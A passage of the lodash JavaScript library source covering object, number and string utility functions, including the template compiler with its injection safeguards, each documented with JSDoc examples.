     * _.setWith(object, '[0][1]', 'a', Object);
     * // => { '0': { '1': 'a' } }
     */
    function setWith(object, path, value, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return object == null ? object : baseSet(object, path, value, customizer);
    }

    /**
     * Creates an array of own enumerable string keyed-value pairs for `object`
     * which can be consumed by `_.fromPairs`. If `object` is a map or set, its
     * entries are returned.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @alias entries
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the key-value pairs.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.toPairs(new Foo);
     * // => [['a', 1], ['b', 2]] (iteration order is not guaranteed)
     */
    var toPairs = createToPairs(keys);

    /**
     * Creates an array of own and inherited enumerable string keyed-value pairs
     * for `object` which can be consumed by `_.fromPairs`. If `object` is a map
     * or set, its entries are returned.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @alias entriesIn
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the key-value pairs.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.toPairsIn(new Foo);
     * // => [['a', 1], ['b', 2], ['c', 3]] (iteration order is not guaranteed)
     */
    var toPairsIn = createToPairs(keysIn);

    /**
     * An alternative to `_.reduce`; this method transforms `object` to a new
     * `accumulator` object which is the result of running each of its own
     * enumerable string keyed properties thru `iteratee`, with each invocation
     * potentially mutating the `accumulator` object. If `accumulator` is not
     * provided, a new object with the same `[[Prototype]]` will be used. The
     * iteratee is invoked with four arguments: (accumulator, value, key, object).
     * Iteratee functions may exit iteration early by explicitly returning `false`.
     *
     * @static
     * @memberOf _
     * @since 1.3.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @param {*} [accumulator] The custom accumulator value.
     * @returns {*} Returns the accumulated value.
     * @example
     *
     * _.transform([2, 3, 4], function(result, n) {
     *   result.push(n *= n);
     *   return n % 2 == 0;
     * }, []);
     * // => [4, 9]
     *
     * _.transform({ 'a': 1, 'b': 2, 'c': 1 }, function(result, value, key) {
     *   (result[value] || (result[value] = [])).push(key);
     * }, {});
     * // => { '1': ['a', 'c'], '2': ['b'] }
     */
    function transform(object, iteratee, accumulator) {
      var isArr = isArray(object),
          isArrLike = isArr || isBuffer(object) || isTypedArray(object);

      iteratee = getIteratee(iteratee, 4);
      if (accumulator == null) {
        var Ctor = object && object.constructor;
        if (isArrLike) {
          accumulator = isArr ? new Ctor : [];
        }
        else if (isObject(object)) {
          accumulator = isFunction(Ctor) ? baseCreate(getPrototype(object)) : {};
        }
        else {
          accumulator = {};
        }
      }
      (isArrLike ? arrayEach : baseForOwn)(object, function(value, index, object) {
        return iteratee(accumulator, value, index, object);
      });
      return accumulator;
    }

    /**
     * Removes the property at `path` of `object`.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to unset.
     * @returns {boolean} Returns `true` if the property is deleted, else `false`.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 7 } }] };
     * _.unset(object, 'a[0].b.c');
     * // => true
     *
     * console.log(object);
     * // => { 'a': [{ 'b': {} }] };
     *
     * _.unset(object, ['a', '0', 'b', 'c']);
     * // => true
     *
     * console.log(object);
     * // => { 'a': [{ 'b': {} }] };
     */
    function unset(object, path) {
      return object == null ? true : baseUnset(object, path);
    }

    /**
     * This method is like `_.set` except that accepts `updater` to produce the
     * value to set. Use `_.updateWith` to customize `path` creation. The `updater`
     * is invoked with one argument: (value).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.6.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {Function} updater The function to produce the updated value.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }] };
     *
     * _.update(object, 'a[0].b.c', function(n) { return n * n; });
     * console.log(object.a[0].b.c);
     * // => 9
     *
     * _.update(object, 'x[0].y.z', function(n) { return n ? n + 1 : 0; });
     * console.log(object.x[0].y.z);
     * // => 0
     */
    function update(object, path, updater) {
      return object == null ? object : baseUpdate(object, path, castFunction(updater));
    }

    /**
     * This method is like `_.update` except that it accepts `customizer` which is
     * invoked to produce the objects of `path`.  If `customizer` returns `undefined`
     * path creation is handled by the method instead. The `customizer` is invoked
     * with three arguments: (nsValue, key, nsObject).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.6.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {Function} updater The function to produce the updated value.
     * @param {Function} [customizer] The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = {};
     *
     * _.updateWith(object, '[0][1]', _.constant('a'), Object);
     * // => { '0': { '1': 'a' } }
     */
    function updateWith(object, path, updater, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return object == null ? object : baseUpdate(object, path, castFunction(updater), customizer);
    }

    /**
     * Creates an array of the own enumerable string keyed property values of `object`.
     *
     * **Note:** Non-object values are coerced to objects.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property values.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.values(new Foo);
     * // => [1, 2] (iteration order is not guaranteed)
     *
     * _.values('hi');
     * // => ['h', 'i']
     */
    function values(object) {
      return object == null ? [] : baseValues(object, keys(object));
    }

    /**
     * Creates an array of the own and inherited enumerable string keyed property
     * values of `object`.
     *
     * **Note:** Non-object values are coerced to objects.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property values.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.valuesIn(new Foo);
     * // => [1, 2, 3] (iteration order is not guaranteed)
     */
    function valuesIn(object) {
      return object == null ? [] : baseValues(object, keysIn(object));
    }

    /*------------------------------------------------------------------------*/

    /**
     * Clamps `number` within the inclusive `lower` and `upper` bounds.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Number
     * @param {number} number The number to clamp.
     * @param {number} [lower] The lower bound.
     * @param {number} upper The upper bound.
     * @returns {number} Returns the clamped number.
     * @example
     *
     * _.clamp(-10, -5, 5);
     * // => -5
     *
     * _.clamp(10, -5, 5);
     * // => 5
     */
    function clamp(number, lower, upper) {
      if (upper === undefined) {
        upper = lower;
        lower = undefined;
      }
      if (upper !== undefined) {
        upper = toNumber(upper);
        upper = upper === upper ? upper : 0;
      }
      if (lower !== undefined) {
        lower = toNumber(lower);
        lower = lower === lower ? lower : 0;
      }
      return baseClamp(toNumber(number), lower, upper);
    }

    /**
     * Checks if `n` is between `start` and up to, but not including, `end`. If
     * `end` is not specified, it's set to `start` with `start` then set to `0`.
     * If `start` is greater than `end` the params are swapped to support
     * negative ranges.
     *
     * @static
     * @memberOf _
     * @since 3.3.0
     * @category Number
     * @param {number} number The number to check.
     * @param {number} [start=0] The start of the range.
     * @param {number} end The end of the range.
     * @returns {boolean} Returns `true` if `number` is in the range, else `false`.
     * @see _.range, _.rangeRight
     * @example
     *
     * _.inRange(3, 2, 4);
     * // => true
     *
     * _.inRange(4, 8);
     * // => true
     *
     * _.inRange(4, 2);
     * // => false
     *
     * _.inRange(2, 2);
     * // => false
     *
     * _.inRange(1.2, 2);
     * // => true
     *
     * _.inRange(5.2, 4);
     * // => false
     *
     * _.inRange(-3, -2, -6);
     * // => true
     */
    function inRange(number, start, end) {
      start = toFinite(start);
      if (end === undefined) {
        end = start;
        start = 0;
      } else {
        end = toFinite(end);
      }
      number = toNumber(number);
      return baseInRange(number, start, end);
    }

    /**
     * Produces a random number between the inclusive `lower` and `upper` bounds.
     * If only one argument is provided a number between `0` and the given number
     * is returned. If `floating` is `true`, or either `lower` or `upper` are
     * floats, a floating-point number is returned instead of an integer.
     *
     * **Note:** JavaScript follows the IEEE-754 standard for resolving
     * floating-point values which can produce unexpected results.
     *
     * @static
     * @memberOf _
     * @since 0.7.0
     * @category Number
     * @param {number} [lower=0] The lower bound.
     * @param {number} [upper=1] The upper bound.
     * @param {boolean} [floating] Specify returning a floating-point number.
     * @returns {number} Returns the random number.
     * @example
     *
     * _.random(0, 5);
     * // => an integer between 0 and 5
     *
     * _.random(5);
     * // => also an integer between 0 and 5
     *
     * _.random(5, true);
     * // => a floating-point number between 0 and 5
     *
     * _.random(1.2, 5.2);
     * // => a floating-point number between 1.2 and 5.2
     */
    function random(lower, upper, floating) {
      if (floating && typeof floating != 'boolean' && isIterateeCall(lower, upper, floating)) {
        upper = floating = undefined;
      }
      if (floating === undefined) {
        if (typeof upper == 'boolean') {
          floating = upper;
          upper = undefined;
        }
        else if (typeof lower == 'boolean') {
          floating = lower;
          lower = undefined;
        }
      }
      if (lower === undefined && upper === undefined) {
        lower = 0;
        upper = 1;
      }
      else {
        lower = toFinite(lower);
        if (upper === undefined) {
          upper = lower;
          lower = 0;
        } else {
          upper = toFinite(upper);
        }
      }
      if (lower > upper) {
        var temp = lower;
        lower = upper;
        upper = temp;
      }
      if (floating || lower % 1 || upper % 1) {
        var rand = nativeRandom();
        return nativeMin(lower + (rand * (upper - lower + freeParseFloat('1e-' + ((rand + '').length - 1)))), upper);
      }
      return baseRandom(lower, upper);
    }

    /*------------------------------------------------------------------------*/

    /**
     * Converts `string` to [camel case](https://en.wikipedia.org/wiki/CamelCase).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the camel cased string.
     * @example
     *
     * _.camelCase('Foo Bar');
     * // => 'fooBar'
     *
     * _.camelCase('--foo-bar--');
     * // => 'fooBar'
     *
     * _.camelCase('__FOO_BAR__');
     * // => 'fooBar'
     */
    var camelCase = createCompounder(function(result, word, index) {
      word = word.toLowerCase();
      return result + (index ? capitalize(word) : word);
    });

    /**
     * Converts the first character of `string` to upper case and the remaining
     * to lower case.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to capitalize.
     * @returns {string} Returns the capitalized string.
     * @example
     *
     * _.capitalize('FRED');
     * // => 'Fred'
     */
    function capitalize(string) {
      return upperFirst(toString(string).toLowerCase());
    }

    /**
     * Deburrs `string` by converting
     * [Latin-1 Supplement](https://en.wikipedia.org/wiki/Latin-1_Supplement_(Unicode_block)#Character_table)
     * and [Latin Extended-A](https://en.wikipedia.org/wiki/Latin_Extended-A)
     * letters to basic Latin letters and removing
     * [combining diacritical marks](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to deburr.
     * @returns {string} Returns the deburred string.
     * @example
     *
     * _.deburr('déjà vu');
     * // => 'deja vu'
     */
    function deburr(string) {
      string = toString(string);
      return string && string.replace(reLatin, deburrLetter).replace(reComboMark, '');
    }

    /**
     * Checks if `string` ends with the given target string.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to inspect.
     * @param {string} [target] The string to search for.
     * @param {number} [position=string.length] The position to search up to.
     * @returns {boolean} Returns `true` if `string` ends with `target`,
     *  else `false`.
     * @example
     *
     * _.endsWith('abc', 'c');
     * // => true
     *
     * _.endsWith('abc', 'b');
     * // => false
     *
     * _.endsWith('abc', 'b', 2);
     * // => true
     */
    function endsWith(string, target, position) {
      string = toString(string);
      target = baseToString(target);

      var length = string.length;
      position = position === undefined
        ? length
        : baseClamp(toInteger(position), 0, length);

      var end = position;
      position -= target.length;
      return position >= 0 && string.slice(position, end) == target;
    }

    /**
     * Converts the characters "&", "<", ">", '"', and "'" in `string` to their
     * corresponding HTML entities.
     *
     * **Note:** No other characters are escaped. To escape additional
     * characters use a third-party library like [_he_](https://mths.be/he).
     *
     * Though the ">" character is escaped for symmetry, characters like
     * ">" and "/" don't need escaping in HTML and have no special meaning
     * unless they're part of a tag or unquoted attribute value. See
     * [Mathias Bynens's article](https://mathiasbynens.be/notes/ambiguous-ampersands)
     * (under "semi-related fun fact") for more details.
     *
     * When working with HTML you should always
     * [quote attribute values](http://wonko.com/post/html-escaping) to reduce
     * XSS vectors.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category String
     * @param {string} [string=''] The string to escape.
     * @returns {string} Returns the escaped string.
     * @example
     *
     * _.escape('fred, barney, & pebbles');
     * // => 'fred, barney, &amp; pebbles'
     */
    function escape(string) {
      string = toString(string);
      return (string && reHasUnescapedHtml.test(string))
        ? string.replace(reUnescapedHtml, escapeHtmlChar)
        : string;
    }

    /**
     * Escapes the `RegExp` special characters "^", "$", "\", ".", "*", "+",
     * "?", "(", ")", "[", "]", "{", "}", and "|" in `string`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to escape.
     * @returns {string} Returns the escaped string.
     * @example
     *
     * _.escapeRegExp('[lodash](https://lodash.com/)');
     * // => '\[lodash\]\(https://lodash\.com/\)'
     */
    function escapeRegExp(string) {
      string = toString(string);
      return (string && reHasRegExpChar.test(string))
        ? string.replace(reRegExpChar, '\\$&')
        : string;
    }

    /**
     * Converts `string` to
     * [kebab case](https://en.wikipedia.org/wiki/Letter_case#Special_case_styles).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the kebab cased string.
     * @example
     *
     * _.kebabCase('Foo Bar');
     * // => 'foo-bar'
     *
     * _.kebabCase('fooBar');
     * // => 'foo-bar'
     *
     * _.kebabCase('__FOO_BAR__');
     * // => 'foo-bar'
     */
    var kebabCase = createCompounder(function(result, word, index) {
      return result + (index ? '-' : '') + word.toLowerCase();
    });

    /**
     * Converts `string`, as space separated words, to lower case.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the lower cased string.
     * @example
     *
     * _.lowerCase('--Foo-Bar--');
     * // => 'foo bar'
     *
     * _.lowerCase('fooBar');
     * // => 'foo bar'
     *
     * _.lowerCase('__FOO_BAR__');
     * // => 'foo bar'
     */
    var lowerCase = createCompounder(function(result, word, index) {
      return result + (index ? ' ' : '') + word.toLowerCase();
    });

    /**
     * Converts the first character of `string` to lower case.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the converted string.
     * @example
     *
     * _.lowerFirst('Fred');
     * // => 'fred'
     *
     * _.lowerFirst('FRED');
     * // => 'fRED'
     */
    var lowerFirst = createCaseFirst('toLowerCase');

    /**
     * Pads `string` on the left and right sides if it's shorter than `length`.
     * Padding characters are truncated if they can't be evenly divided by `length`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to pad.
     * @param {number} [length=0] The padding length.
     * @param {string} [chars=' '] The string used as padding.
     * @returns {string} Returns the padded string.
     * @example
     *
     * _.pad('abc', 8);
     * // => '  abc   '
     *
     * _.pad('abc', 8, '_-');
     * // => '_-abc_-_'
     *
     * _.pad('abc', 3);
     * // => 'abc'
     */
    function pad(string, length, chars) {
      string = toString(string);
      length = toInteger(length);

      var strLength = length ? stringSize(string) : 0;
      if (!length || strLength >= length) {
        return string;
      }
      var mid = (length - strLength) / 2;
      return (
        createPadding(nativeFloor(mid), chars) +
        string +
        createPadding(nativeCeil(mid), chars)
      );
    }

    /**
     * Pads `string` on the right side if it's shorter than `length`. Padding
     * characters are truncated if they exceed `length`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to pad.
     * @param {number} [length=0] The padding length.
     * @param {string} [chars=' '] The string used as padding.
     * @returns {string} Returns the padded string.
     * @example
     *
     * _.padEnd('abc', 6);
     * // => 'abc   '
     *
     * _.padEnd('abc', 6, '_-');
     * // => 'abc_-_'
     *
     * _.padEnd('abc', 3);
     * // => 'abc'
     */
    function padEnd(string, length, chars) {
      string = toString(string);
      length = toInteger(length);

      var strLength = length ? stringSize(string) : 0;
      return (length && strLength < length)
        ? (string + createPadding(length - strLength, chars))
        : string;
    }

    /**
     * Pads `string` on the left side if it's shorter than `length`. Padding
     * characters are truncated if they exceed `length`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to pad.
     * @param {number} [length=0] The padding length.
     * @param {string} [chars=' '] The string used as padding.
     * @returns {string} Returns the padded string.
     * @example
     *
     * _.padStart('abc', 6);
     * // => '   abc'
     *
     * _.padStart('abc', 6, '_-');
     * // => '_-_abc'
     *
     * _.padStart('abc', 3);
     * // => 'abc'
     */
    function padStart(string, length, chars) {
      string = toString(string);
      length = toInteger(length);

      var strLength = length ? stringSize(string) : 0;
      return (length && strLength < length)
        ? (createPadding(length - strLength, chars) + string)
        : string;
    }

    /**
     * Converts `string` to an integer of the specified radix. If `radix` is
     * `undefined` or `0`, a `radix` of `10` is used unless `value` is a
     * hexadecimal, in which case a `radix` of `16` is used.
     *
     * **Note:** This method aligns with the
     * [ES5 implementation](https://es5.github.io/#x15.1.2.2) of `parseInt`.
     *
     * @static
     * @memberOf _
     * @since 1.1.0
     * @category String
     * @param {string} string The string to convert.
     * @param {number} [radix=10] The radix to interpret `value` by.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {number} Returns the converted integer.
     * @example
     *
     * _.parseInt('08');
     * // => 8
     *
     * _.map(['6', '08', '10'], _.parseInt);
     * // => [6, 8, 10]
     */
    function parseInt(string, radix, guard) {
      if (guard || radix == null) {
        radix = 0;
      } else if (radix) {
        radix = +radix;
      }
      return nativeParseInt(toString(string).replace(reTrimStart, ''), radix || 0);
    }

    /**
     * Repeats the given string `n` times.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to repeat.
     * @param {number} [n=1] The number of times to repeat the string.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {string} Returns the repeated string.
     * @example
     *
     * _.repeat('*', 3);
     * // => '***'
     *
     * _.repeat('abc', 2);
     * // => 'abcabc'
     *
     * _.repeat('abc', 0);
     * // => ''
     */
    function repeat(string, n, guard) {
      if ((guard ? isIterateeCall(string, n, guard) : n === undefined)) {
        n = 1;
      } else {
        n = toInteger(n);
      }
      return baseRepeat(toString(string), n);
    }

    /**
     * Replaces matches for `pattern` in `string` with `replacement`.
     *
     * **Note:** This method is based on
     * [`String#replace`](https://mdn.io/String/replace).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to modify.
     * @param {RegExp|string} pattern The pattern to replace.
     * @param {Function|string} replacement The match replacement.
     * @returns {string} Returns the modified string.
     * @example
     *
     * _.replace('Hi Fred', 'Fred', 'Barney');
     * // => 'Hi Barney'
     */
    function replace() {
      var args = arguments,
          string = toString(args[0]);

      return args.length < 3 ? string : string.replace(args[1], args[2]);
    }

    /**
     * Converts `string` to
     * [snake case](https://en.wikipedia.org/wiki/Snake_case).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the snake cased string.
     * @example
     *
     * _.snakeCase('Foo Bar');
     * // => 'foo_bar'
     *
     * _.snakeCase('fooBar');
     * // => 'foo_bar'
     *
     * _.snakeCase('--FOO-BAR--');
     * // => 'foo_bar'
     */
    var snakeCase = createCompounder(function(result, word, index) {
      return result + (index ? '_' : '') + word.toLowerCase();
    });

    /**
     * Splits `string` by `separator`.
     *
     * **Note:** This method is based on
     * [`String#split`](https://mdn.io/String/split).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to split.
     * @param {RegExp|string} separator The separator pattern to split by.
     * @param {number} [limit] The length to truncate results to.
     * @returns {Array} Returns the string segments.
     * @example
     *
     * _.split('a-b-c', '-', 2);
     * // => ['a', 'b']
     */
    function split(string, separator, limit) {
      if (limit && typeof limit != 'number' && isIterateeCall(string, separator, limit)) {
        separator = limit = undefined;
      }
      limit = limit === undefined ? MAX_ARRAY_LENGTH : limit >>> 0;
      if (!limit) {
        return [];
      }
      string = toString(string);
      if (string && (
            typeof separator == 'string' ||
            (separator != null && !isRegExp(separator))
          )) {
        separator = baseToString(separator);
        if (!separator && hasUnicode(string)) {
          return castSlice(stringToArray(string), 0, limit);
        }
      }
      return string.split(separator, limit);
    }

    /**
     * Converts `string` to
     * [start case](https://en.wikipedia.org/wiki/Letter_case#Stylistic_or_specialised_usage).
     *
     * @static
     * @memberOf _
     * @since 3.1.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the start cased string.
     * @example
     *
     * _.startCase('--foo-bar--');
     * // => 'Foo Bar'
     *
     * _.startCase('fooBar');
     * // => 'Foo Bar'
     *
     * _.startCase('__FOO_BAR__');
     * // => 'FOO BAR'
     */
    var startCase = createCompounder(function(result, word, index) {
      return result + (index ? ' ' : '') + upperFirst(word);
    });

    /**
     * Checks if `string` starts with the given target string.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to inspect.
     * @param {string} [target] The string to search for.
     * @param {number} [position=0] The position to search from.
     * @returns {boolean} Returns `true` if `string` starts with `target`,
     *  else `false`.
     * @example
     *
     * _.startsWith('abc', 'a');
     * // => true
     *
     * _.startsWith('abc', 'b');
     * // => false
     *
     * _.startsWith('abc', 'b', 1);
     * // => true
     */
    function startsWith(string, target, position) {
      string = toString(string);
      position = position == null
        ? 0
        : baseClamp(toInteger(position), 0, string.length);

      target = baseToString(target);
      return string.slice(position, position + target.length) == target;
    }

    /**
     * Creates a compiled template function that can interpolate data properties
     * in "interpolate" delimiters, HTML-escape interpolated data properties in
     * "escape" delimiters, and execute JavaScript in "evaluate" delimiters. Data
     * properties may be accessed as free variables in the template. If a setting
     * object is given, it takes precedence over `_.templateSettings` values.
     *
     * **Note:** In the development build `_.template` utilizes
     * [sourceURLs](http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/#toc-sourceurl)
     * for easier debugging.
     *
     * For more information on precompiling templates see
     * [lodash's custom builds documentation](https://lodash.com/custom-builds).
     *
     * For more information on Chrome extension sandboxes see
     * [Chrome's extensions documentation](https://developer.chrome.com/extensions/sandboxingEval).
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category String
     * @param {string} [string=''] The template string.
     * @param {Object} [options={}] The options object.
     * @param {RegExp} [options.escape=_.templateSettings.escape]
     *  The HTML "escape" delimiter.
     * @param {RegExp} [options.evaluate=_.templateSettings.evaluate]
     *  The "evaluate" delimiter.
     * @param {Object} [options.imports=_.templateSettings.imports]
     *  An object to import into the template as free variables.
     * @param {RegExp} [options.interpolate=_.templateSettings.interpolate]
     *  The "interpolate" delimiter.
     * @param {string} [options.sourceURL='lodash.templateSources[n]']
     *  The sourceURL of the compiled template.
     * @param {string} [options.variable='obj']
     *  The data object variable name.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Function} Returns the compiled template function.
     * @example
     *
     * // Use the "interpolate" delimiter to create a compiled template.
     * var compiled = _.template('hello <%= user %>!');
     * compiled({ 'user': 'fred' });
     * // => 'hello fred!'
     *
     * // Use the HTML "escape" delimiter to escape data property values.
     * var compiled = _.template('<b><%- value %></b>');
     * compiled({ 'value': '<script>' });
     * // => '<b>&lt;script&gt;</b>'
     *
     * // Use the "evaluate" delimiter to execute JavaScript and generate HTML.
     * var compiled = _.template('<% _.forEach(users, function(user) { %><li><%- user %></li><% }); %>');
     * compiled({ 'users': ['fred', 'barney'] });
     * // => '<li>fred</li><li>barney</li>'
     *
     * // Use the internal `print` function in "evaluate" delimiters.
     * var compiled = _.template('<% print("hello " + user); %>!');
     * compiled({ 'user': 'barney' });
     * // => 'hello barney!'
     *
     * // Use the ES template literal delimiter as an "interpolate" delimiter.
     * // Disable support by replacing the "interpolate" delimiter.
     * var compiled = _.template('hello ${ user }!');
     * compiled({ 'user': 'pebbles' });
     * // => 'hello pebbles!'
     *
     * // Use backslashes to treat delimiters as plain text.
     * var compiled = _.template('<%= "\\<%- value %\\>" %>');
     * compiled({ 'value': 'ignored' });
     * // => '<%- value %>'
     *
     * // Use the `imports` option to import `jQuery` as `jq`.
     * var text = '<% jq.each(users, function(user) { %><li><%- user %></li><% }); %>';
     * var compiled = _.template(text, { 'imports': { 'jq': jQuery } });
     * compiled({ 'users': ['fred', 'barney'] });
     * // => '<li>fred</li><li>barney</li>'
     *
     * // Use the `sourceURL` option to specify a custom sourceURL for the template.
     * var compiled = _.template('hello <%= user %>!', { 'sourceURL': '/basic/greeting.jst' });
     * compiled(data);
     * // => Find the source of "greeting.jst" under the Sources tab or Resources panel of the web inspector.
     *
     * // Use the `variable` option to ensure a with-statement isn't used in the compiled template.
     * var compiled = _.template('hi <%= data.user %>!', { 'variable': 'data' });
     * compiled.source;
     * // => function(data) {
     * //   var __t, __p = '';
     * //   __p += 'hi ' + ((__t = ( data.user )) == null ? '' : __t) + '!';
     * //   return __p;
     * // }
     *
     * // Use custom template delimiters.
     * _.templateSettings.interpolate = /{{([\s\S]+?)}}/g;
     * var compiled = _.template('hello {{ user }}!');
     * compiled({ 'user': 'mustache' });
     * // => 'hello mustache!'
     *
     * // Use the `source` property to inline compiled templates for meaningful
     * // line numbers in error messages and stack traces.
     * fs.writeFileSync(path.join(process.cwd(), 'jst.js'), '\
     *   var JST = {\
     *     "main": ' + _.template(mainText).source + '\
     *   };\
     * ');
     */
    function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);

      var imports = assignInWith({}, options.imports, settings.imports, customDefaultsAssignIn),
          importsKeys = keys(imports),
          importsValues = baseValues(imports, importsKeys);

      var isEscaping,
          isEvaluating,
          index = 0,
          interpolate = options.interpolate || reNoMatch,
          source = "__p += '";

      // Compile the regexp to match each delimiter.
      var reDelimiters = RegExp(
        (options.escape || reNoMatch).source + '|' +
        interpolate.source + '|' +
        (interpolate === reInterpolate ? reEsTemplate : reNoMatch).source + '|' +
        (options.evaluate || reNoMatch).source + '|$'
      , 'g');

      // Use a sourceURL for easier debugging.
      // The sourceURL gets injected into the source that's eval-ed, so be careful
      // to normalize all kinds of whitespace, so e.g. newlines (and unicode versions of it) can't sneak in
      // and escape the comment, thus injecting code that gets evaled.
      var sourceURL = '//# sourceURL=' +
        (hasOwnProperty.call(options, 'sourceURL')
          ? (options.sourceURL + '').replace(/\s/g, ' ')
          : ('lodash.templateSources[' + (++templateCounter) + ']')
        ) + '\n';

      string.replace(reDelimiters, function(match, escapeValue, interpolateValue, esTemplateValue, evaluateValue, offset) {
        interpolateValue || (interpolateValue = esTemplateValue);

        // Escape characters that can't be included in string literals.
        source += string.slice(index, offset).replace(reUnescapedString, escapeStringChar);

        // Replace delimiters with snippets.
        if (escapeValue) {
          isEscaping = true;
          source += "' +\n__e(" + escapeValue + ") +\n'";
        }
        if (evaluateValue) {
          isEvaluating = true;
          source += "';\n" + evaluateValue + ";\n__p += '";
        }
        if (interpolateValue) {
          source += "' +\n((__t = (" + interpolateValue + ")) == null ? '' : __t) +\n'";
        }
        index = offset + match.length;

        // The JS engine embedded in Adobe products needs `match` returned in
        // order to produce the correct `offset` value.
        return match;
      });

      source += "';\n";

      // If `variable` is not specified wrap a with-statement around the generated
      // code to add the data object to the top of the scope chain.
      var variable = hasOwnProperty.call(options, 'variable') && options.variable;
      if (!variable) {
        source = 'with (obj) {\n' + source + '\n}\n';
      }
      // Throw an error if a forbidden character was found in `variable`, to prevent
      // potential command injection attacks.
      else if (reForbiddenIdentifierChars.test(variable)) {
        throw new Error(INVALID_TEMPL_VAR_ERROR_TEXT);
      }

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

      // Provide the compiled function's source by its `toString` method or
      // the `source` property as a convenience for inlining compiled templates.
      result.source = source;
      if (isError(result)) {
        throw result;
      }
      return result;
    }

    /**
     * Converts `string`, as a whole, to lower case just like
     * [String#toLowerCase](https://mdn.io/toLowerCase).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the lower cased string.
     * @example
     *
     * _.toLower('--Foo-Bar--');
     * // => '--foo-bar--'
     *
     * _.toLower('fooBar');
     * // => 'foobar'
     *
